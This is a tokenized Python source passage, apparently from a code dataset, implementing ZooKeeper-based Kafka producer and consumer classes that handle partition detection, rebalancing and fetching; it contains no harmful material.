"\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "register", "\\u", "callbacks_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "bps", "\\u", "changed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "detect", "\\u", "broker", "\\u", "partitions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "broker", "\\u", "partition_", "=_", "random_", "._", "choice_", "(_", "self_", "._", "\\u", "broker", "\\u", "partitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kaf", "ka", "\\u", "conn_", "=_", "self_", "._", "\\u", "connections_", "[_", "broker", "\\u", "partition_", "._", "broker", "\\u", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kaf", "ka", "\\u", "conn_", "._", "produce", "_", "(_", "self_", "._", "topic_", ",_", "msgs_", ",_", "broker", "\\u", "partition_", "._", "partition_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "bytes", "\\u", "sent_", "=_", "sum_", "(_", "len_", "(_", "m_", ")_", "for_", "m_", "in_", "msgs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "debug_", "(_", "self_", "._", "\\u", "log", "\\u", "str_", "(_", "u", "\"", "sent", " ", "{", "0", "}", " ", "bytes", " ", "to", " ", "{", "1", "}\"_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "bytes", "\\u", "sent_", ",_", "broker", "\\u", "partition_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "broker", "\\u", "partition_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "detect", "\\u", "broker", "\\u", "partitions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bps", "_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "broker", "\\u", "partit", "ion", "s", "\\u", "for_", "(_", "self_", "._", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "force", "\\u", "partit", "ion", "\\u", "zero_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "bps", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "No", "Avail", "able", "Partition", "s", "Error_", "(_", "u", "\"", "No", " ", "broker", "s", " ", "wer", "e", " ", "found", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "broker", "\\u", "partitions_", "=_", "bps", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "bps", "\\u", "changed_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "unb", "alance", "_", "(_", "self_", ",_", "nodes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "bps", "\\u", "changed_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "register", "\\u", "callbacks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zk_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "\\u", "zk_", "#", " ", "FIX", "ME", ":", " ", "Evi", "l", " ", "break", "ing", " ", "of", " ", "encapsulat", "ion_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "path", "\\u", "for", "\\u", "broker", "s_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "path", "\\u", "for", "\\u", "broker", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "for", "\\u", "topic_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "path", "\\u", "for", "\\u", "topic_", "(_", "self_", "._", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "broker", "s", "\\u", "watch_", "is_", "None_", "and_", "zk_", "._", "exists_", "(_", "path", "\\u", "for", "\\u", "broker", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "broker", "s", "\\u", "watch_", "=_", "zk_", "._", "children_", "(_", "path", "\\u", "for", "\\u", "broker", "s_", ")_", "(_", "self_", "._", "\\u", "unb", "alance", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "topic", "\\u", "watch_", "is_", "None_", "and_", "zk_", "._", "exists_", "(_", "path", "\\u", "for", "\\u", "topic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "topic", "\\u", "watch_", "=_", "zk_", "._", "children_", "(_", "path", "\\u", "for", "\\u", "topic_", ")_", "(_", "self_", "._", "\\u", "unb", "alance", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "debug_", "(_", "\"", "Producer", " ", "{", "0", "}", " ", "has", " ", "watch", "es", ":", " ", "{", "1", "}\"_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "self_", "._", "\\u", "id_", ",_", "sorted_", "(_", "zk_", "._", "watch", "es_", "._", "data_", "._", "keys_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "all", "\\u", "callback", "s", "\\u", "registered_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Are", " ", "all", " ", "the", " ", "callback", "s", " ", "we", " ", "need", " ", "to", " ", "know", " ", "whe", "n", " ", "to", " ", "rebalance", " ", "actual", "ly", " ", "\\", "10", ";", " ", " ", " ", " ", "register", "ed", "?", " ", "Some", " ", "of", " ", "these", " ", "(", "like", " ", "the", " ", "topic", " ", "ones", ")", " ", "are", " ", "the", " ", "responsib", "ilit", "y", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "the", " ", "broker", " ", "to", " ", "create", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "all_", "(_", "[_", "self_", "._", "\\u", "broker", "s", "\\u", "watch_", ",_", "self_", "._", "\\u", "topic", "\\u", "watch_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "log", "\\u", "str_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "\"", "ZK", "Producer", " ", "{", "0", "}", " ", ">", " ", "{", "1", "}\"_", "._", "format_", "(_", "self_", "._", "\\u", "id_", ",_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "del\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Tak", "e", " ", "2", " ", "on", " ", "the", " ", "reb", "alan", "cing", " ", "code", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "zk", "\\u", "conn_", ",_", "consume", "r", "\\u", "group_", ",_", "topic_", ",_", "autocommit_", "=_", "True_", ",_", "zk", "\\u", "timeout_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "FIX", "ME", ":", " ", "switch", " ", "arg", " ", "order", " ", "and", " ", "default", " ", "zk", "\\u", "conn", " ", "to", " ", "local", "host", "?\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Simple", " ", "attribute", "s", " ", "we", " ", "return", " ", "as", " ", "properties_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "id_", "=_", "self_", "._", "\\u", "create", "\\u", "consume", "r", "\\u", "id_", "(_", "consume", "r", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "topic_", "=_", "topic_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "consume", "r", "\\u", "group_", "=_", "consume", "r", "\\u", "group_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "autocommit_", "=_", "autocommit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Intern", "al", " ", "vars_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "zk", "\\u", "util_", "=_", "ZK", "Util_", "(_", "zk", "\\u", "conn_", ",_", "zk", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "need", "s", "\\u", "rebalance", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "broker", "\\u", "partitions_", "=_", "[_", "]_", "#", " ", "Update", "d", " ", "dur", "ing", " ", "reb", "alan", "cing", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", "=_", "{_", "}_", "#", " ", "Update", "d", " ", "after", " ", "a", " ", "success", "ful", " ", "fetch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "rebalance", "\\u", "enabled_", "=_", "True_", "#", " ", "On", "ly", " ", "used", " ", "for", " ", "debugg", "ing", " ", "purpose", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "se", " ", "are", " ", "to", " ", "handle", " ", "Zoo", "Keep", "er", " ", "notification", " ", "subscript", "ion", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "topic", "\\u", "watch_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "topic", "s", "\\u", "watch_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "consumers", "\\u", "watch_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "broker", "s", "\\u", "watch_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Register", " ", "ours", "elv", "es", " ", "with", " ", "ZK", " ", "so", " ", "other", " ", "Consume", "rs", " ", "know", " ", "we", "'", "re", " ", "active", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "register_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Force", " ", "a", " ", "rebalance", " ", "so", " ", "we", " ", "know", " ", "whi", "ch", " ", "broker", "-", "partit", "ion", "s", " ", "we", " ", "own_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "rebalance", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "stats_", "=_", "defaultdict_", "(_", "lambda_", ":_", "Consume", "r", "Stats_", "(_", "fetches", "_", "=_", "0_", ",_", "bytes_", "=_", "0_", ",_", "messages_", "=_", "0_", ",_", "max", "\\u", "fetch_", "=_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "id_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "topic_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "\\u", "topic_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "consume", "r", "\\u", "group_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "\\u", "consume", "r", "\\u", "group_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "autocommit_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "\\u", "autocommit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "stats_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Return", "s", " ", "the", " ", "aggre", "gate", " ", "of", " ", "the", " ", "stats", " ", "from", " ", "all", " ", "the", " ", "broker", " ", "partit", "ion", "s", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fetches", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bytes_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "fetch_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "stats_", "in_", "self_", "._", "\\u", "stats_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fetches", "_", "+=_", "stats_", "._", "fetches", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bytes_", "+=_", "stats_", "._", "bytes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", "+=_", "stats_", "._", "messages_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "fetch_", "=_", "max_", "(_", "max", "\\u", "fetch_", ",_", "stats_", "._", "max", "\\u", "fetch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Consume", "r", "Stats_", "(_", "fetches", "_", ",_", "bytes_", ",_", "messages_", ",_", "max", "\\u", "fetch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stats", "\\u", "by", "\\u", "broker", "\\u", "partition_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dict_", "(_", "self_", "._", "\\u", "stats_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "broker", "\\u", "partitions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "need", "s", "\\u", "rebalance", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rebalance", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "broker", "\\u", "partitions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "broker", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "sorted_", "(_", "frozenset_", "(_", "bp_", "._", "broker", "\\u", "id_", "for_", "bp_", "in_", "self_", "._", "broker", "\\u", "partitions_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "self_", ",_", "'\\u", "zk", "\\u", "util", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "simple", "\\u", "consumer_", "(_", "self_", ",_", "bp", "\\u", "ids", "\\u", "to", "\\u", "offsets_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "bp", "\\u", "pair", "s", "\\u", "to", "\\u", "offset", "s", " ", "is", " ", "a", " ", "dictionar", "y", " ", "of", " ", "tuple", "s", " ", "to", " ", "integ", "ers", " ", "like", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "follow", "ing", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "0", "-0", "\"", " ", ":", " ", "203", "890", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "0", "-1", "\"", " ", ":", " ", "393", "019", "8", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "1", "-0", "\"", " ", ":", " ", "393", "208", "8", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "1", "-1", "\"", " ", ":", " ", "958", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "keys", " ", "are", " ", "of", " ", "the", " ", "format", " ", "\"[", "broker", "\\u", "id", "]-", "[", "partit", "ion", "\\u", "id", "]\"", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "values", " ", "are", " ", "offset", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "will", " ", "return", " ", "a", " ", "Simple", "Consume", "r", " ", "tha", "t", " ", "is", " ", "initiali", "ed", " ", "to", " ", "read", " ", "from", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "broker", "s", " ", "liste", "d", " ", "at", " ", "the", " ", "offset", "s", " ", "specified", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "broker", "\\u", "partitions_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "broker", "\\u", "partit", "ion", "s", "\\u", "for_", "(_", "self_", "._", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "broker", "\\u", "partitions_", "=_", "dict_", "(_", "(_", "bp_", ",_", "bp", "\\u", "ids", "\\u", "to", "\\u", "offsets_", "(_", "bp_", "._", "id_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "bp_", "in_", "all", "\\u", "broker", "\\u", "partitions_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "bp_", "._", "id_", "in_", "bp", "\\u", "ids", "\\u", "to", "\\u", "offsets_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Simple", "Consumer_", "(_", "self_", "._", "topic_", ",_", "broker", "\\u", "partitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fetch_", "(_", "self_", ",_", "max", "\\u", "size_", "=_", "None_", ",_", "retr", "y", "\\u", "limit_", "=_", "3_", ",_", "ignore", "\\u", "failures_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "a", " ", "Fe", "tch", "Result", ",", " ", "whi", "ch", " ", "can", " ", "be", " ", "iterate", "d", " ", "over", " ", "as", " ", "a", " ", "list", " ", "of", " ", "\\", "10", ";", " ", " ", " ", " ", "Messag", "e", "Set", "s", ".", " ", "A", " ", "Messag", "e", "Set", " ", "is", " ", "return", "ed", " ", "for", " ", "every", " ", "broker", " ", "partit", "ion", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "success", "full", "y", " ", "queried", ",", " ", "even", " ", "if", " ", "tha", "t", " ", "Messag", "e", "Set", " ", "is", " ", "empty", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "FIX", "ME", ":", " ", "Thi", "s", " ", "is", " ", "where", " ", "the", " ", "adjustment", " ", "need", "s", " ", "to", " ", "happ", "en", ".", " ", "Reg", "ard", "less", " ", "of", " ", "\\", "10", ";", " ", " ", " ", " ", "whe", "ther", " ", "a", " ", "rebalance", " ", "has", " ", "occur", "red", " ", "or", " ", "not", ",", " ", "we", " ", "can", " ", "very", " ", "easi", "ly", " ", "see", " ", "if", " ", "we", "\\", "10", ";", " ", " ", " ", " ", "are", " ", "still", " ", "responsib", "le", " ", "for", " ", "the", " ", "same", " ", "partit", "ion", "s", " ", "as", " ", "we", " ", "wer", "e", " ", "the", " ", "last", " ", "time", "\\", "10", ";", " ", " ", " ", " ", "we", " ", "ran", ",", " ", "and", " ", "set", " ", "self", ".\\u", "bps", "\\u", "to", "\\u", "next", "\\u", "offset", "s", " ", "-->", " ", "we", " ", "just", " ", "need", " ", "to", " ", "check", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "it", "'", "s", " ", "not", " ", "Non", "e", " ", "and", " ", "if", " ", "we", " ", "still", " ", "have", " ", "the", " ", "same", " ", "offset", "s", ",", " ", "and", " ", "adjust", " ", "\\", "10", ";", " ", " ", " ", " ", "according", "ly", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "need", "s", "\\u", "offset", "\\u", "values", "\\u", "from", "\\u", "zk_", "(_", "bps", "\\u", "to", "\\u", "offsets_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "We", " ", "need", " ", "to", " ", "pull", " ", "offset", " ", "values", " ", "from", " ", "ZK", " ", "if", " ", "we", " ", "have", " ", "no", " ", "\\", "10", ";", " ", " ", " ", " ", "Broker", "Partition", "s", " ", "in", " ", "our", " ", "BP", "s", " ", "->", " ", "Offsets", " ", "mapping", ",", " ", "or", " ", "if", " ", "some", " ", "of", " ", "tho", "se", "\\", "10", ";", " ", " ", " ", " ", "Offsets", " ", "are", " ", "unknown", " ", "(", "Non", "e", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "not_", "bps", "\\u", "to", "\\u", 